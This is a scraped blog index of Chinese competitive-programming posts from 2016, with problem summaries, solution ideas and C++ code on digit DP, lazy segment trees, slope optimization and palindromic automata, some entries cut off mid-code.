\u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31LL l,r; 32int digit[30]; 33LL dp[30][30]; 34LL dfs( int pos,int cnt,bool limit) 35{ 36 if (pos==0) return cnt; 37 if (!limit\u0026\u0026dp[pos][cnt]!=-1) return dp[pos][cnt]; 38 int mx = limit?digit[pos]:9; 39 LL res = 0 ; 40 for ( int i = 0 ; i \u003c= mx ; i++) 41 { 42 if (i==1) 43 res = res + dfs(pos-1,cnt+1,limit\u0026\u0026i==mx); 44 else res = res + dfs(pos-1,cnt,limit\u0026\u0026i==mx); 45 } 46 if (!limit) dp[pos][cnt] = res; 47 return res; 48} 49LL solve( LL n) 50{ 51 int len = 0 ; 52 ms(digit,0); 53 while (n) 54 { 55 digit[++len] = n; 56 n/=10; 57 } 58 ms(dp,-1); 59 return dfs(len,0,true); 60} 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"code/in.txt\",\"r\",stdin); 65 #endif 66 ms(dp,-1); 67 while (~scanf(\"%I64d%I64d\",\u0026l,\u0026r)) 68 { 69 LL ans = solve(r) - solve(l-1); 70 printf(\"%I64d\\n\",ans); 71 } 72 #ifndef ONLINE_JUDGE 73 fclose(stdin); 74 #endif 75","date":"2016-09-28","externalUrl":null,"permalink":"/2016/09/fzu-2113/","section":"Posts","summary":"题目链接 题意：统计区间[a,b]里数字1出现的次数。 思路：数位dp。 收获是，dfs传递的参数可能是为了判断符合条件的答案（比如不要62中的preis6等）","tags":["数位dp"],"title":"FZU 2113 Jason的特殊爱好 (数位dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出一串只由数字'4’和'7’组成的串。两种操作，一种是询问整个串中最长非下降子序列的长度，另一种给出区间[l,r]，将区间中的没个数反转，反转的定义为，4变成7,7变成4. 思路：线段树lazy标记。 线段树的域记录5个信息，c4,c7,c47,c74，flip,a分别表示4的个数,7的个数，非下降子序列的个数，非上升的子序列的个数，以及该区间是否被翻转。 纠结了很久PushUp操作。。。。 c4和c7倒是没什么疑问。。。。 一开始觉得c47是由三部分的最大值更新得到的。。。 left.c4+right.c47,left.c4+right.c7,left.c47+right.c7… 但是样例过不了。。。 纠结了半天发现。。。 比如4774,4444是左右两个区间的时候。。。。 c47最大是5.。。但是left.c4 + right.c7=6，比正确答案大。 原因是。。一个区间中4的位置可能是分散的。。。这样只有某段连续出现的4对答案的贡献是正确的。。。 所以只有区间长度为1的时候c4+c7的更新方式才是合法的。。。 我们不妨在初始化的时候。。。。在线段树的叶子节点直接设置c47为1（当然相应地c74也要为1） 另外一个收获是。。。线段树对于区间的操作（对于点的操作也是同样） 不一定是某种常见的定义过的操作（求和啊，最大值最小值啊之类的） 也可能是某种自定义的操作。。。 比如这道题中的flip操作。。。 就是对区间的一个自定义的操作。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 27 Sep 2016 09:14:22 AM CST 4File Name :code/cf/problem/145E.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N = 1E6+7; 32int n,m; 33char st[N]; 34struct node 35{ 36 int c7,c4,c47,c74; 37 bool flip; 38 void out() 39 { 40 printf(\"c4:%d c7: %d c47 :%d c74 : %d\\n\",c4,c7,c47,c74); 41 } 42}tree[N\u003c\u003c2]; 43void PushUp( int rt) 44{ 45 tree[rt].c4 = tree[rt\u003c\u003c1].c4 + tree[rt\u003c\u003c1|1].c4; 46 tree[rt].c7 = tree[rt\u003c\u003c1].c7 + tree[rt\u003c\u003c1|1].c7; 47 tree[rt].c47 = max(tree[rt\u003c\u003c1].c","date":"2016-09-27","externalUrl":null,"permalink":"/2016/09/cf145e/","section":"Posts","summary":"题目链接 题意：给出一串只由数字'4’和'7’组成的串。两种操作，一种是询问整个串中最长非下降子序列的长度，另一种给出区间[l,r]，将区间中的没个数反转，反转的定义为，4变成7,7变成4.","tags":["lazy标记","线段树"],"title":"codeforces 145 E. Lucky Queries (线段树lazy标记)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：一个循环数列，两种操作，一种是把某段区间中加上v，另一种是询问某区间的最小值。对于每个询问，输出答案。 思路：区间更新+区间询问的模板题…. 注意体会pushdown以及update的时候。。。 要同时更新tree数组和lazy数组。。。 读入的时候可以用sscanf判断操作类型。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 26 Sep 2016 05:30:21 AM CST 4File Name :code/cf/problem/52C.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32int n,m; 33LL a[N]; 34LL tree[N\u003c\u003c2]; 35LL lazy[N\u003c\u003c2]; 36void PushUp( int rt) 37{ 38 tree[rt] = min(tree[rt\u003c\u003c1],tree[rt\u003c\u003c1|1]); 39} 40void PushDown( int rt) 41{ 42 if (lazy[rt]) 43 { 44 lazy[rt\u003c\u003c1] += lazy[rt]; 45 lazy[rt\u003c\u003c1|1] +=lazy[rt]; 46 tree[rt\u003c\u003c1] +=lazy[rt]; 47 tree[rt\u003c\u003c1|1] +=lazy[rt]; 48 lazy[rt] = 0; 49 } 50} 51void build( int l,int r,int rt) 52{ 53 if (rt) 54 if (l==r) 55 { 56 tree[rt] = a[l] ; 57 return; 58 } 59 int m = (l+r)\u003e\u003e1; 60 build(lson); 61 build(rson); 62 PushUp(rt); 63} 64void update(int L,int R,LL sc,int l,int r,int rt) 65{ 66 if (L\u003c=l\u0026\u0026r\u003c=R) 67 { 68 lazy[rt] +=sc; 69 tree[rt] +=sc; 70 return; 71 } 72 PushDown(rt); 73 int m = (l+r)\u003e\u003e1; 74 if (L\u003c=m) update(L,R,sc,lson); 75 if (R\u003e=m+1) update(L,R,sc,rson); 76 PushUp(rt); 77} 78LL query( int L,int R,int l,int r,int rt) 79{ 80 if (L\u003c=l\u0026\u0026r\u003c=R) return tr","date":"2016-09-25","externalUrl":null,"permalink":"/2016/09/cf52c/","section":"Posts","summary":"题目链接 题意：一个循环数列，两种操作，一种是把某段区间中加上v，另一种是询问某区间的最小值。对于每个询问，输出答案。","tags":["lazy标记","线段树"],"title":"codeforces 52 C. Circular RMQ (线段树区间更新，区间询问)","type":"post"},{"categories":["ACM"],"content":"我学不会dp不是因为我智商低，而是因为没有足够好的资料。 ** 我学不会dp不是因为我智商低，而是因为没有足够好的资料。** ** 我学不会dp不是因为我智商低，而是因为没有足够好的资料。**","date":"2016-09-25","externalUrl":null,"permalink":"/2016/09/%e9%87%8d%e8%a6%81%e7%9a%84%e4%ba%8b%e6%83%85/","section":"Posts","summary":"我学不会dp不是因为我智商低，而是因为没有足够好的资料。 ** 我学不会dp不是因为我智商低，而是因为没有足够好的资料。** ** 我学不会dp不是因为我智商低，而是因为没有足够好的资料。**","tags":["算法竞赛"],"title":"重要的事情","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： 给定两个序列，求它们的最长公共递增子序列的长度, 并且这个子序列的值是连续的 思路：以值为连续做入手点。 很显然个鬼咯 dp[a[i]]表示以a[i]结尾的最大长度。 dp[a[i]] = dp[a[i-1]] + 1 对于b序列一样。 答案为 MAX(min(dp[i],dp2[i])) ( 1=\u003ci \u003c= 1E6) 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 26 Sep 2016 04:02:24 AM CST 4File Name :code/hdu/5904.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E6+7; 32int dp[N],dp2[N]; 33int n,m; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 int T; 40 scanf(\"%d\",\u0026T); 41 while (T--) 42 { 43 ms(dp,0); 44 ms(dp2,0); 45 scanf(\"%d%d\",\u0026n,\u0026m); 46 int mx = 0; 47 for ( int i = 1 ; i \u003c= n ; i++) 48 { 49 int x; 50 scanf(\"%d\",\u0026x); 51 dp[x] = dp[x-1] + 1; 52 mx = max(x,mx); 53 } 54 for ( int i = 1 ; i \u003c= m ; i++) 55 { 56 int x; 57 scanf(\"%d\",\u0026x); 58 dp2[x] = dp2[x-1] + 1; 59 mx = max(x,mx); 60 } 61 int ans = 0 ; 62 for ( int i = 1 ; i \u003c= mx ; i++) ans = max(ans,min(dp[i],dp2[i])); 63 printf(\"%d\\n\",ans); 64 } 65 #ifndef ONLINE_JUDGE 66 fclose(stdin); 67 #endif 68 return 0; 69}","date":"2016-09-25","externalUrl":null,"permalink":"/2016/09/hdu-5904-lcis-dp/","section":"Posts","summary":"题目链接 题意： 给定两个序列，求它们的最长公共递增子序列的长度, 并且这个子序列的值是连续的 思路：以值为连续做入手点。","tags":["dp"],"title":"hdu 5904 LCIS (dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：已知 f(1, j) = a[j] f[i][j] = min (f[i-1][j],f[i-1][j-1]) 然后给出 n n≤1E5 个数（a[i] ai≤1E4)，给出 m组查询（m\u003c=1E5），每组两个数 x,y 问 f(x,y) 是多少。 参考题解：茶姐的回答（下标好像搞错了，领会意思即可 官方题解 以及前置技能点是：斜率优化+线段树 思路：考虑一排数a[1]到a[n]，原问题可以转化成从a[y]走x-1步，每一步原地不动或者向左移动一个格子后的总的代价。 Function is calculated as follows: , k__i — how many times we visited the i th element of the array a. 这个式子感觉不是很明确。。。。 窝来解释一下。。。l=y-x+1是可能走到的最左边的点。。。。 终点在【L,Y】区间内都是合法的。。。。 然后考虑代价最小的情况。。。 一定是在最小的格子上尽可能多得停留，在其他格子上只停留一次。。。 对于终点为l的情况，走到y要花费y-l步,一共要走x-1步，那么多出来x-1-(y-l)步，这些步停留在最小的点上是最优的，最小的点上之前停留了一次，现在再多停留x-1-(y-l)次，也就是停留了x-(y-l)次。 那么，另一个结论是，区间[l,y]中，当a[l]为最小的时候才是最优的。。。 为什么呢？ 假设a[k] (k\u003el)是最小，那么以a[k]为终点的情况一定比以a[l]为终点的情况优秀（因为多走了【l,k-1】之间的点。。。走这些点比停留在a[k]的代价大） 因此对于l是终点的情况，一定在a[l]是最小值的时候是最优的。 此时代价为： sum[y] - sum[l] + a[l]·(x - (y - l)) 我们变形得到： sum[y] - sum[l] + a[l]·(x - (y - l)) = sum[y] - sum[l] + a[l]·(x - y + l) = sum[y] - sum[l] + a[l]·l + a[l]·(x - y) = sum[y] + (a[l]·(x - y) + a[l]·l - sum[l]) 观察发现这似乎有斜率的样子… You may notice that in brackets something like the equation of the line — K·X + B. That’s very similar to the equation of the line:a[l]·(x - y) + a[l]·l - sum[l], where K = a[l], X = (x - y), B = a[l]·l - sum[l]. Now we must find minimum for all l and fixed X = (x - y). We have n lines, i. e. for every element in array a one line (K__i, B__i). Answer for query equal to: , where (K__i, B__i) — i-th line. K__i = a[i], B__i = a[i]·i - sum[i]. For fast answer calculation we must use Convex Hull Trick with segment tree. In every vertex of segment tree we keep all lines for segment of this vertex. This requires space, because each line lies in vertices. And we can answer query in operations. Because we visit vertices and each vertex need in operations. You can learn the theory about Convex 关于斜率优化（convex hull trick）的进一步讲解 Remainder: con","date":"2016-09-25","externalUrl":null,"permalink":"/2016/09/cf455e/","section":"Posts","summary":"题目链接 题意：已知 f(1, j) = a[j] f[i][j] = min (f[i-1][j],f[i-1][j-1]) 然后给出 n n≤1E5 个数（a[i] ai≤1E4)，给出 m组查询（m\u003c=1E5），每组两个数 x,y 问 f(x,y) 是多少。","tags":["凸包","斜率优化","线段树"],"title":"codeforces 455 E. Function (斜率优化，线段树套凸包)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n个数，分成若干段，每段的代价为 ，求最小代价。 思路：dp。 状态方程很显然个鬼。。。 dp[i] 表示处理完前面i个数的最小代价。 dp[0] = 0 ; dp[i] = min(dp[j]+(sum[i]-sum[j])^2) ( 0\u003cj \u003ci),sum[i]为a[i]的前缀和。 这复杂度是n^2的。。。然而n最大5E5…..boom…. 斜率优化登场！ 这篇博客讲得非常好 我们假设k\u003cj\u003ci。如果在j的时候决策要比在k的时候决策好，那么也是就是dp[j]+M+(sum[i]-sum[j])^2\u003cdp[k]+M+(sum[i]-sum[k])^2。(因为是最小花费嘛，所以优就是小于) 两边移项一下，得到：(dp[j]+num[j]^2-(dp[k]+num[k]^2))/(2*(num[j]-num[k]))\u003csum[i]。我们把dp[j]-num[j]^2看做是yj，把2*num[j]看成是xj。 那么不就是yj-yk/xj-xk\u003csum[i]么？ 左边是不是斜率的表示？ 那么yj-yk/xj-xk\u003csum[i]说明了什么呢？ 我们前面是不是假设j的决策比k的决策要好才得到这个表示的？ 如果是的话，那么就说明g[j,k]=yj-jk/xj-xk\u003csum[i]代表这j的决策比k的决策要更优。 关键的来了：现在从左到右，还是设k\u003cj\u003ci，如果g[i,j]\u003cg[j,k]，那么j点便永远不可能成为最优解，可以直接将它踢出我们的最优解集。为什么呢？ 我们假设g[i,j]\u003csum[i]，那么就是说i点要比j点优，排除j点。 如果g[i,j]\u003e=sum[i]，那么j点此时是比i点要更优，但是同时g[j,k]\u003eg[i,j]\u003esum[i]。这说明还有k点会比j点更优，同样排除j点。 排除多余的点，这便是一种优化！ 接下来看看如何找最优解。 设k\u003cj\u003ci。 由于我们排除了g[i,j]\u003cg[j,k]的情况，所以整个有效点集呈现一种上凸性质，即k j的斜率要大于j i的斜率。 这样，从左到右，斜率之间就是单调递减的了。当我们的最优解取得在j点的时候，那么k点不可能再取得比j点更优的解了，于是k点也可以排除。换句话说，j点之前的点全部不可能再比j点更优了，可以全部从解集中排除。 于是对于这题我们对于斜率优化做法可以总结如下： 1，用一个单调队列来维护解集。 2，假设队列中从头到尾已经有元素a b c。那么当d要入队的时候，我们维护队列的上凸性质，即如果g[d,c]\u003cg[c,b]，那么就将c点删除。直到找到g[d,x]\u003e=g[x,y]为止，并将d点加入在该位置中。 3，求解时候，从队头开始，如果已有元素a b c，当i点要求解时，如果g[b,a]\u003csum[i]，那么说明b点比a点更优，a点可以排除，于是a出队。最后dp[i]=getDp(q[head])。 代码： 1/* *********************************************** 2Author :111qqz 3Created Time :Sat 24 Sep 2016 02:16:33 PM CST 4File Name :code/hdu/3507.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#defi","date":"2016-09-24","externalUrl":null,"permalink":"/2016/09/hdu3507/","section":"Posts","summary":"题目链接 题意：n个数，分成若干段，每段的代价为 ，求最小代价。 思路：dp。","tags":["区间dp","斜率优化"],"title":"hdu 3507 Print Article (斜率优化dp)","type":"post"},{"categories":["ACM"],"content":"参考博客 这个东西英文好像叫做：convex hull trick Convex_hull_trick_wiki codeforces convex hull trick 简单说说我的理解：斜率优化是一种数形结合的思想。。。 对于一个dp的若干状态。。。有些状态是不会对答案有贡献的。。。这些我们就可以不考虑。。。 简单地说。。。如果把状态的下标和状态对应成二维平面的点。。。 凸起来的点一定不会影响答案。。。 具体证明参考论文。。。。。 也就是维护一个\"下凸折线\" 具体维护的办法是用单调队列来维护。。。 感觉还是挺简单的。。。。","date":"2016-09-24","externalUrl":null,"permalink":"/2016/09/%e6%96%9c%e7%8e%87%e4%bc%98%e5%8c%96%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/","section":"Posts","summary":"参考博客 这个东西英文好像叫做：convex hull trick Convex_hull_trick_wiki codeforces convex hull trick 简单说说我的理解：斜率优化是一种数形结合的思想。。。","tags":["dp","斜率优化"],"title":"斜率优化学习笔记","type":"post"},{"categories":["ACM"],"content":"题意：一串电话号码，每个数字+8取各位后，把每个数字写成对应的大写英文，从\"ZERO\"和“NINE”，然后打乱字母的顺序。现在给出打乱的字母顺序，问可能的字典序最小的电话号码是是多少（可能有前导0） 思路：分析0..9 每个数字的英文组成。。。然后大概类似解方程。。可以根据字母的个数确定每个数字的个数。。。 然后-8。。。存一下排个序就好了。。。1A 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003ciostream\u003e 4#include \u003calgorithm\u003e 5#include \u003cvector\u003e 6#include \u003cqueue\u003e 7#include \u003cset\u003e 8#include \u003cmap\u003e 9#include \u003cstring\u003e 10#include \u003ccmath\u003e 11#include \u003ccstdlib\u003e 12#include \u003cctime\u003e 13#define fst first 14#define sec second 15#define lson l,m,rt\u003c\u003c1 16#define rson m+1,r,rt\u003c\u003c1|1 17#define ms(a,x) memset(a,x,sizeof(a)) 18typedef long long LL; 19#define pi pair \u003c int ,int \u003e 20#define MP make_pair 21using namespace std; 22const double eps = 1E-8; 23const int dx4[4]={1,0,0,-1}; 24const int dy4[4]={0,-1,1,0}; 25const int inf = 0x3f3f3f3f; 26const int N=1E4+7; 27char st[N]; 28int len; 29int a[30]; 30int cnt[15]; //0..9数字的个数. 31int main() 32{ 33 int T; 34 cin\u003e\u003eT; 35 while (T--) 36 { 37 scanf(\"%s\",st); 38 len = strlen(st); 39 ms(a,0); 40 ms(cnt,0); 41 for ( int i = 0 ; i \u003c len ; i++) 42 { 43 int val = st[i]-'A'+1; 44 a[val]++; 45 } 46 cnt[0] = a['Z'-'A'+1]; 47 cnt[6] = a['X'-'A'+1]; 48 cnt[2] = a['W'-'A'+1]; 49 cnt[8] = a['G'-'A'+1]; 50 cnt[4] = a['U'-'A'+1]; 51 cnt[7] = a['S'-'A'+1]-cnt[6]; 52 cnt[5] = a['V'-'A'+1]-cnt[7]; 53 cnt[1] = a['O'-'A'+1]-cnt[0]-cnt[2]-cnt[4]; 54 cnt[3] = a['H'-'A'+1]-cnt[8]; 55 cnt[9] = (a['N'-'A'+1]-cnt[1]-cnt[7])/2; 56 vector \u003cint\u003eans; 57 for ( int i = 0 ; i \u003c= 9 ; i++) 58 { 59 for ( int j = 1 ; j \u003c= cnt[i] ; j++) 60 { 61 int val = i-8; 62 if (val\u003c0) val+=10; 63 ans.push_back(val); 64 } 65 } 66 sort(ans.begin(),ans.end()); 67 int siz = ans.size(); 68 for ( int i = 0 ; i \u003c siz; i ++) printf(\"%d\",ans[i]); 69 } 70 #ifndef ONLINE_JUDGE 71 fclose(stdin); 72 #endif 73 return 0; 74}","date":"2016-09-23","externalUrl":null,"permalink":"/2016/09/2017-----/","section":"Posts","summary":"题意：一串电话号码，每个数字+8取各位后，把每个数字写成对应的大写英文，从\"ZERO\"和“NINE”，然后打乱字母的顺序。现在给出打乱的字母顺序，问可能的字典序最小的电话号码是是多少（可能有前导0）","tags":["模拟"],"title":"2017 小米 软件工程师 校招 笔试题 (模拟)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出一个由‘(’和‘）’组成的字符串。。。然后给出若干查询。。。每个查询一个区间，问区间中能匹配的括号数。。。 思路：考虑某一个区间中的括号匹配。。。其实是一个不断寻找’()‘然后删去的过程。。。 因此对于某个区间的括号匹配数。。。等于左边区间和右边区间和合法匹配数之和，再加上左区间和右区间新的能匹配到一起的括号数。 （说“因此”是因为。。。只要左边有没匹配的左括号。。。右边有没匹配的右括号。。。因为他们中间有的都是匹配好的括号，会被删除。。。所以两边的括号总能匹配在一起） 具体做法是： 线段树的节点中有三个域，分别表示，合法的括号匹配数，没有被匹配的左括号数，和没有被匹配的右括号数。 query的时候要合并左右两个区间。。。不过可能某一区间中为空。。。这里合理得初始化为node(0,0,0)，就不用分情况讨论了。。。 一个和node(0,0,0)合并对原来的答案没有影响。。。。 以及，凡是需要在query的时候合并区间的问题。。。（不是那种简单的sum,min/max合并） 返回一个node会方便很多。。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Fri 23 Sep 2016 05:32:22 PM CST 4File Name :code/cf/problem//380C.cpp 5************************************************ */ 6#include \u003cbits/stdc++.h\u003e 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=1E6+7; 33struct node 34{ 35 int left,right,sum; 36 node (){} 37 node ( int x,int y,int z): left(x),right(y),sum(z){}; 38}tree[N\u003c\u003c2]; 39char st[N]; 40int n; 41void PushUp( int rt) 42{ 43 int add = min(tree[rt\u003c\u003c1].left,tree[rt\u003c\u003c1|1].right); 44 tree[rt].sum = tree[rt\u003c\u003c1].sum + tree[rt\u003c\u003c1|1].sum + add; 45 tree[rt].left = tree[rt\u003c\u003c1].left + tree[rt\u003c\u003c1|1].left - add; 46 tree[rt].right = tree[rt\u003c\u003c1].right + tree[rt\u003c\u003c1|1].right - add; 47} 48void build( int l,int r,int rt) 49{ 50 if (l==r) 51 { 5","date":"2016-09-23","externalUrl":null,"permalink":"/2016/09/cf380c/","section":"Posts","summary":"题目链接 题意：给出一个由‘(’和‘）’组成的字符串。。。然后给出若干查询。。。每个查询一个区间，问区间中能匹配的括号数。。。","tags":["区间合并","线段树"],"title":"codeforces 380 C. Sereja and Brackets (线段树区间合并)","type":"post"},{"categories":["随笔杂谈"],"content":"。。。。。 代码不会写。。。成绩又烂。。。又不会勾搭妹子。。。。 。。。。。。 对比一下。。。。。算了还是不对比了。。。。。 啊。。。人生啊。。。活得好失败T T","date":"2016-09-22","externalUrl":null,"permalink":"/2016/09/too-sad-to-live/","section":"Posts","summary":"。。。。。 代码不会写。。。成绩又烂。。。又不会勾搭妹子。。。。 。。。。。。","tags":["算法竞赛"],"title":"挫败感++","type":"post"},{"categories":["ACM"],"content":"是14年才被提出来的算法… 先%一下该算法的作者：作者的codeforces页 接下来，老规矩，放一波资料： 参考博客1 codeforces上的讲解 20171115 update: emmmm，这篇是学习笔记是１６年９月写的。。。。一转眼13个月过去了啊。。 回文树，也叫回文自动机，简称PAM 学了SAM之后PAM简直是傻逼算法… 该算法时间和空间复杂度都是O(n) 这样的复杂度基于以下结论： 长度为n的字符串的本质不同的回文串的数目不超过n 因此状态数开到和字符串长度一样就可以了orz len表示某个状态所表示的回文串的长度 cnt表示某个状态所表示的回文串的数量 构建PAM的算法仍然是增量算法，在某一时刻，本质不同的回文串的数量是sz-1 (sz标号从０开始，出去标号为０和标号为１的２个根) 唯一需要特别注意的是 在构建完PAM之后，沿着回文链（类比后缀链)从底向上跑一遍得到的cnt，才是真正的cnt 在构建完PAM之后，沿着回文链（类比后缀链)从底向上跑一遍得到的cnt，才是真正的cnt 在构建完PAM之后，沿着回文链（类比后缀链)从底向上跑一遍得到的cnt，才是真正的cnt 我的模板： 1/* *********************************************** 2Author :111qqz 3Created Time :2017年11月15日 星期三 20时31分58秒 4File Name :PAM.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#define PB push_back 9#define fst first 10#define sec second 11#define lson l,m,rt\u003c\u003c1 12#define rson m+1,r,rt\u003c\u003c1|1 13#define ms(a,x) memset(a,x,sizeof(a)) 14typedef long long LL; 15#define pi pair \u003c int ,int \u003e 16#define MP make_pair 17 18using namespace std; 19const double eps = 1E-8; 20const int dx4[4]={1,0,0,-1}; 21const int dy4[4]={0,-1,1,0}; 22const int inf = 0x3f3f3f3f; 23struct PAM 24{ 25 //cnt表示某个节点的回文串的数量 26 //len表示的是该状态所表示的回文串的长度 27 //PAM有２个根，分别为状态０和状态１ 28 //初２个根外，其余每个状态表示一个本质不同的回文串,总数为sz-1 29 struct state 30 { 31 int fail,cnt,len; 32 int nxt[26]; 33 }st[N]; 34 char S[N],RS[N]; 35 int n,now,sz; 36 int Right[N];//Right[i]表示以i结尾的最长回文串的长度 37 int Left[N]; //Left[i]表示以i开头的最长回文串的长度...只需要倒序构建PAM就行了 38 void init() 39 { 40 ms(st,0); 41 now = 0 ; 42 st[0].fail = st[1].fail = 1; 43 st[1].len = -1; 44 sz = 1; 45 } 46 void extend(int c,int pos) 47 { 48 int p = now; 49 while (S[pos-st[p].len-1]!=S[pos]) p = st[p].fail; 50 if (!st[p].nxt[c]){ 51 int np=++sz,q=st[p].fail; 52 st[np].len=st[p].len+2; 53 while (S[pos-st[q].len-1]!=S[pos]) q=st[q].fail; 54 st[np].fail=st[q].nx","date":"2016-09-22","externalUrl":null,"permalink":"/2016/09/%e5%9b%9e%e6%96%87%e8%87%aa%e5%8a%a8%e6%9c%ba%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/","section":"Posts","summary":"是14年才被提出来的算法… 先%一下该算法的作者：作者的codeforces页","tags":["回文自动机"],"title":"【施工中】回文自动机学习笔记","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个数,q个查询，每组一个区间，询问区间中所有数的乘积的欧拉函数9+7的答案是多少。 思路：这道题需要一点欧拉函数的知识。 phi(n)是欧拉函数，意义为小于等于n并且与n互质的数的个数。 To calculate the answer on every query let’s use the formula , where _p_1, p_2, …, p__k — all prime numbers which divided_n. 如果知道欧拉函数的这个公式。。。那么这道题就成了水题。。。。 考虑两个数a,b的欧拉函数。 一开始考虑也许有什么性质。。。查了下欧拉函数的wiki 欧拉函数_维基百科 欧拉函数是积性函数（但不是完全积性函数。。因此必须phi(ab) =phi(a)*phi(b)成立当且仅当gcd(a,b)==1) 然而这里并不一定满足互质的条件。。。 再想一下。。。发现完全没必要由phi(a)和phi(b)得到phi(a*b) 直接把a*b看成一个数就好了。。。。 后面质因子乘积部分只需要把两部分的并在一起就好了。。。 所以根据上面欧拉函数的公式。。。答案分为两部分。。。 一部分是区间中所有数的乘积。。。 一部分是区间中所有数的不相同的素因子的p-1/p形式的乘积。。。 第一部分预处理前缀积即可。。。由于有%运算。。。所以除的时候需要计算逆元。。。 第二部分的做法同spoj_dquery解题报告 也是离线处理，把询问按照区间右端点排序升序排列，然后lst数组记录上次该数出现的位置。。。用bit维护一个从1到某个数的乘积。。。在撤销的时候同样需要逆元。。。 还要注意。。。太长的式子一定要分开写。。。。 因为写错括号顺序调了半天orz… 1/* *********************************************** 2Author :111qqz 3Created Time :Thu 22 Sep 2016 02:07:39 PM CST 4File Name :code/cf/problem/594D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 